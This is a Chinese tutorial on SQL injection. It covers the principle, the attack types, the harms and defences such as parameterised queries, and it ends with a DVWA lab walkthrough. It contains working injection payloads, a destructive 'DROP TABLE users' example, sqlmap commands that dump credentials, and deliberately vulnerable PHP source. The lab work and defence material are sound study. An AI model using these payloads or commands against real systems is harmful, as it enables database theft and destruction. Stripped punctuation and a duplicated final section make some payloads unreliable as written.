SQL注入(SQL Injection)

📅 2026/7/14 14:28:29
SQL注入(SQL Injection)
SQL注入文章目录SQL注入一、原理二、攻击案例三、MySQL查询语句1、不带条件的查询语句2、带条件的查询语句3、limit的用法三、分类四、危害五、防御六、实战1、靶机dvwa之SQL靶机dvwa之SQL(LOW)靶机dvwa之SQL(MIDIUM)靶机dvwa之SQL(HIGH)2、靶机dvwa之SQL(Blind)SQL 注入SQL Injection是 Web 安全中最常见的攻击手段之一其核心原理是攻击者通过构造特殊的输入字符串使应用程序将用户输入直接拼接进 SQL 语句并执行从而篡改 SQL 逻辑实现未授权的数据访问、修改甚至破坏一、原理正常情况下应用程序会根据用户输入动态生成 SQL 语句。例如一个登录功能的 SQL 可能是SELECT*FROMusersWHEREusername用户输入的用户名ANDpassword用户输入的密码;如果应用程序直接将用户输入 “拼接” 到 SQL 中而非作为 “数据” 处理攻击者就可以通过输入特殊字符如单引号’、分号;、逻辑运算符OR等篡改 SQL 逻辑。产生需要满足的两个条件参数用户可控参数被带入数据库查询二、攻击案例假设用户输入的用户名为 OR 11密码任意比如123拼接后的 SQL 会变成SELECT*FROMusersWHEREusernameOR11ANDpassword123;由于11恒为真整个条件会被强制为 “真”攻击者无需正确密码即可登录成功甚至可能直接获取所有用户数据。在MySQL 5.0版本后MySQL默认在数据库中存放一个名为information_schema的数据库。在该库中有三个表SCHEMATA存储用户创建的所有数据库的库名表中记录数据库库名的字段为SCHEMA_NAMETABLES存储用户创建的所有数据库的库名和表名表中记录数据库库名的字段为TABLE_SCHEMA和TABLE_NAMECOLUMNS存储用户创建的所有数据库的库名、表名和字段名表中记录数据库库名的字段为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME三、MySQL查询语句1、不带条件的查询语句SELECT要查询的字段名FROM库名.表名WHERE已知条件的字段名已知条件的值2、带条件的查询语句SELECT要查询的字段名FROM库名.表名WHERE已知条件的字段名已知条件的值#多个条件用AND连接即可--多个条件用AND连接即可/*多个条件用AND连接即可*/3、limit的用法SELECT*FROMuserslimitm,n/*其中m表示记录开始的位置m0表示第一条 n表示记录的条数 */三、分类根据注入方式和效果SQL 注入可分为以下几类按注入点类型划分字符型注入注入点的参数是字符串需用单引号’或双引号闭合。例如username用户输入注入时需先闭合引号如 OR 11---- 是 SQL 注释符用于忽略后续语句。数字型注入注入点的参数是数字无需引号闭合。例如SELECT * FROM articles WHERE id用户输入注入时可直接加逻辑如1 OR 11拼接后为SELECT * FROM articles WHERE id1 OR 11返回所有文章。按注入效果划分联合查询注入UNION Injection利用UNION关键字拼接新的查询获取其他表的数据。例如假设查询语句为SELECT title FROM articles WHERE id?注入1 UNION SELECT username FROM users--拼接后会同时返回文章标题和用户表的用户名。布尔盲注Boolean-based Blind Injection通过构造条件判断语句如AND 11、AND 12根据页面返回的 “存在 / 不存在”如 “正常显示” 或 “报错空白”推断数据。例如注入 AND (SELECT COUNT(*) FROM users WHERE usernameadmin)1--若页面正常显示说明存在admin用户。时间盲注Time-based Blind Injection当页面无明显差异时利用sleep()等函数让 SQL 执行延迟通过 “页面响应时间” 判断条件是否成立。例如注入 AND sleep(5)--若页面延迟 5 秒加载说明注入成功再逐步猜解数据如 AND IF((SELECT SUBSTR(password,1,1)a),sleep(5),0)--判断密码第一位是否为a。报错注入Error-based Injection利用数据库的错误机制如语法错误让错误信息中包含敏感数据。例如MySQL 中注入 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--extractvalue函数会因参数错误报错错误信息中会包含当前数据库名0x7e是波浪线~用于分隔数据。堆叠查询注入Stacked Queries用分号;分隔多个 SQL 语句执行额外操作如删表、改数据。例如注入1; DROP TABLE users--拼接后可能执行SELECT * FROM articles WHERE id1; DROP TABLE users--直接删除用户表。四、危害SQL 注入的危害取决于数据库权限和攻击者的目标主要包括数据泄露获取用户密码可能明文或哈希、交易记录、个人信息等敏感数据。数据篡改修改用户权限如将普通用户改为管理员、篡改订单金额等。数据破坏删除表DROP TABLE、清空数据TRUNCATE等。越权操作登录管理员账户、控制系统如通过xp_cmdshell在 SQL Server 中执行系统命令。业务中断数据库被破坏后应用程序可能无法正常运行。五、防御防御的核心原则是将用户输入视为 “数据” 而非 “代码”具体措施如下使用参数化查询最有效参数化查询预编译语句将 SQL 模板与用户输入分离用户输入仅作为 “参数” 传递不会被解析为 SQL 代码。例如在 Java 中用PreparedStatement// 错误直接拼接StringsqlSELECT * FROM users WHERE usernameusername AND passwordpassword;// 正确参数化查询StringsqlSELECT * FROM users WHERE username? AND password?;PreparedStatementpstmtconn.prepareStatement(sql);pstmt.setString(1,username);// 用户名作为参数pstmt.setString(2,password);// 密码作为参数几乎所有编程语言Python、PHP、C# 等和数据库都支持参数化查询如 Python 的?占位符、PHP 的PDO。输入验证与过滤类型验证对数字型参数如id强制校验为数字如用intval()转换。字符过滤过滤或转义特殊字符如单引号’、分号;、OR、UNION等但需注意过滤可能被绕过如大小写混合Or、编码绕过%27代表’需结合参数化查询使用。最小权限原则数据库账户仅授予必要权限如查询SELECT、插入INSERT禁止DROP、DELETE、EXEC执行命令等高危权限。应用程序连接数据库的账户避免使用root、sa等管理员权限。隐藏错误信息前端不显示详细的 SQL 错误如 “MySQL syntax error near ‘xxx’”避免攻击者通过错误信息推断数据库结构。后端日志可记录详细错误但前端仅返回通用提示如 “系统繁忙请稍后再试”。使用 ORM 框架ORM对象关系映射框架如 Hibernate、MyBatis、Django ORM会自动处理参数化减少手动拼接 SQL 的风险。例如Django ORM 的查询# 安全ORM自动参数化User.objects.filter(usernameusername,passwordpassword)定期审计与扫描用工具如 SQLMap、Burp Suite定期扫描应用程序检测潜在注入点。代码审计时重点检查动态 SQL 拼接的地方如拼接字符串、format格式化 SQL。六、实战1、靶机dvwa之SQL靶机dvwa之SQL(LOW)操作打开网页可以看到输入 1 试试可以看到返回了一个ID为1的用户接下来进行注入点判断依次输入以下sql语句1and11#1and12#由于and 12为假应与id1返回的结果不同可以判断不是数字型注入1and11#1and12#没有结果返回结论字符型注入单引号闭合猜测是2个字段直接从2开始1orderby2#1orderby3#结果返回异常结论猜测正确字段为21UNIONSELECT1,2#返回结果为First Name1Surname2意味着在12这两个位置可以输入SQL语句。尝试在2的位置查询数据库等信息。1UNIONSELECT1,database()#可以看到有数据库dvwa1 UNION SELECT 1,table_name from information_schema.tables where table_schemadvwa#可以看到数据库dvwa中有guestbook和users表1 UNION SELECT 1,column_name from information_schema.columns where table_schemadvwa and table_nameusers#可以看到表users中有很多列如password、user_id等。1UNIONSELECT1,group_concat(user,0x3a,password)fromusers#可以看到用户名和密码sqlmap自动化1、检测「注入点」sqlmap-uhttp://192.168.85.129/vulnerabilities/sqli/?id1SubmitSubmit#-cookiePHPSESSIDlnvf82a8up28vb0hqn5647pq13; securitylowcookie可以通过burpsuit抓包获取可以看到存在注入点2、查看所有「数据库」sqlmap-uhttp://192.168.85.129/vulnerabilities/sqli/?id1SubmitSubmit#-cookiePHPSESSIDlnvf82a8up28vb0hqn5647pq13; securitylow-dbs3、查看当前使用的数据库sqlmap-uhttp://192.168.85.129/vulnerabilities/sqli/?id1SubmitSubmit#-cookiePHPSESSIDlnvf82a8up28vb0hqn5647pq13; securitylow--current-db4、查看「数据表」sqlmap-uhttp://192.168.85.129/vulnerabilities/sqli/?id1SubmitSubmit#-cookiePHPSESSIDlnvf82a8up28vb0hqn5647pq13; securitylow-Ddvwa--tables5、查看「字段」sqlmap-uhttp://192.168.85.129/vulnerabilities/sqli/?id1SubmitSubmit#-cookiePHPSESSIDlnvf82a8up28vb0hqn5647pq13; securitylow-Ddvwa-Tusers-columns6、查看「数据」sqlmap-uhttp://192.168.85.129/vulnerabilities/sqli/?id1SubmitSubmit#-cookiePHPSESSIDlnvf82a8up28vb0hqn5647pq13; securitylow-Ddvwa-Tusers-Cuser_id,user,password--dump代码分析?phpif(isset($_REQUEST[Submit])){// Get input$id$_REQUEST[id];switch($_DVWA[SQLI_DB]){caseMYSQL:// Check database$querySELECT first_name, last_name FROM users WHERE user_id $id;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);// Get resultswhile($rowmysqli_fetch_assoc($result)){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}mysqli_close($GLOBALS[___mysqli_ston]);break;caseSQLITE:global$sqlite_db_connection;#$sqlite_db_connection new SQLite3($_DVWA[SQLITE_DB]);#$sqlite_db_connection-enableExceptions(true);$querySELECT first_name, last_name FROM users WHERE user_id $id;;#print $query;try{$results$sqlite_db_connection-query($query);}catch(Exception$e){echoCaught exception: .$e-getMessage();exit();}if($results){while($row$results-fetchArray()){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}else{echoError in fetch .$sqlite_db-lastErrorMsg();}break;}}?isset检测变量Submit是否已设置并且非 NULL即判断用户是否点击了Submit按钮。得到用户提交的数据 id利用用户数据拼接成sql语句query使用mysqli_query函数执行sql语句并返回结果给result若出错使用die函数报错使用mysqli_fetch_assoc函数获取结果集的一行给变量row使用first、last变量获取row中的first_name、last_name字段并使用echo打印 用户输入的id和变量first、last漏洞原因没有进行预编译用户数据拼接了代码没有实现代码、数据分离没有进行敏感字符过滤靶机dvwa之SQL(MIDIUM)操作同样通过burpsuit抓包可以看到与LOW不同的是MIDIUM采用POST方式提交表单需要使用 -data 参数把数据引入过来sqlmap-uhttp://192.168.85.129/vulnerabilities/sqli/#-cookiePHPSESSIDlnvf82a8up28vb0hqn5647pq13; securitymedium-dataid1SubmitSubmit-dbs剩下的操作和之前一样代码分析?phpif(isset($_POST[Submit])){// Get input$id$_POST[id];$idmysqli_real_escape_string($GLOBALS[___mysqli_ston],$id);$querySELECT first_name, last_name FROM users WHERE user_id $id;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.mysqli_error($GLOBALS[___mysqli_ston])./pre);// Get resultswhile($rowmysqli_fetch_assoc($result)){// Display values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}// This is used later on in the index.php page// Setting it here so we can close the database connection in here like in the rest of the source scripts$querySELECT COUNT(*) FROM users;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);$number_of_rowsmysqli_fetch_row($result)[0];mysqli_close($GLOBALS[___mysqli_ston]);?isset检测变量Submit是否已设置并且非 NULL即判断用户是否点击了Submit按钮。得到用户提交的数据 id使用mysqli_real_escape_string函数进行转义利用用户数据拼接成sql语句query使用mysqli_query函数执行sql语句并返回结果给result若出错使用die函数报错使用mysqli_fetch_assoc函数获取结果集的一行给变量row使用first、last变量获取row中的first_name、last_name字段并使用echo打印用户输入的id和变量first、last漏洞原因没有进行预编译用户数据拼接了代码没有实现代码、数据分离没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤但是mysqli_real_escape_string函数并不能过滤一些敏感的关键字如 and or等它的功能只是转义一些字符仅成功过滤了’靶机dvwa之SQL(HIGH)操作返回结果的页面并不是当前的页面而是另外的一个页面这就需要使用--second-url指定到哪个页面获取响应判断真假sqlmap-uhttp://192.168.85.129/vulnerabilities/sqli/session-input.php-second-urlhttp://192.168.85.129/vulnerabilities/sqli/-cookiePHPSESSIDlnvf82a8up28vb0hqn5647pq13; securityhigh-dataid1SubmitSubmit-dbs剩下的操作和之前一样代码分析?phpif(isset($_COOKIE[id])){// Get input$id$_COOKIE[id];// Check database$getidSELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;;$resultmysqli_query($GLOBALS[___mysqli_ston],$getid);// Removed or die to suppress mysql errors// Get results$nummysqli_num_rows($result);// The character suppresses errorsif($num0){// Feedback for end userechopreUser ID exists in the database./pre;}else{// Might sleep a random amountif(rand(0,5)3){sleep(rand(2,4));}// User wasnt found, so the page wasnt!header($_SERVER[SERVER_PROTOCOL]. 404 Not Found);// Feedback for end userechopreUser ID is MISSING from the database./pre;}((is_null($___mysqli_resmysqli_close($GLOBALS[___mysqli_ston])))?false:$___mysqli_res);}?isset检测COOKIE中的id变量是否已设置并且非 NULL得到用户提交的数据 id利用用户数据拼接成sql语句queryid当做字符串使用mysqli_query函数执行sql语句并返回结果给result不使用or die来抑制mysql错误使用mysqli_num_rows函数获取结果集的数量给变量num通过来抑制mysql错误若num0输出User ID exists in the database.否则睡眠一会显示404。输出User ID is MISSING from the database.漏洞原因没有进行预编译用户数据拼接了代码没有实现代码、数据分离想要利用COOKIE来增加安全系数抓包可绕过。2、靶机dvwa之SQL(Blind)输入1页面返回正常输入1页面返回异常访问id1 and 11#和id 1 and 12#由此可以判断页面只返回exist和missing不会返回任何数据库中的数据。尝试Boolean注入构造SQL判断语句推测哪些SQL判断条件是成立的来获取数据库中的数据。1andlength(database())4#--判断条件为数据库库名长度41andlength(database())5#--判断条件为数据库库名长度5由此可以判断数据库名长度为4接着用逐字符判断方式获取数据库库名1 and substr(database(),1,1)d#--substr()截取库名逐字符匹配从第一个字符开始每次返回一个可以借助Burp Suite的intruder模块自动化爆破由此可判断数据库为dvwa接着再用相同的方式判断表名1 and substr((select table_name from information_schema.tables where table_schemadvwa limit 1,1),1,1)u#--dvwa数据库有两个表第一个为guestbook第二个为users--用users表来验证1andlength(database())5#--判断条件为数据库库名长度5[外链图片转存中…(img-n1szqoXu-1783931717578)]由此可以判断数据库名长度为4接着用逐字符判断方式获取数据库库名1 and substr(database(),1,1)d#--substr()截取库名逐字符匹配从第一个字符开始每次返回一个[外链图片转存中…(img-SOuFRvDg-1783931717578)]可以借助Burp Suite的intruder模块自动化爆破由此可判断数据库为dvwa接着再用相同的方式判断表名1 and substr((select table_name from information_schema.tables where table_schemadvwa limit 1,1),1,1)u#--dvwa数据库有两个表第一个为guestbook第二个为users--用users表来验证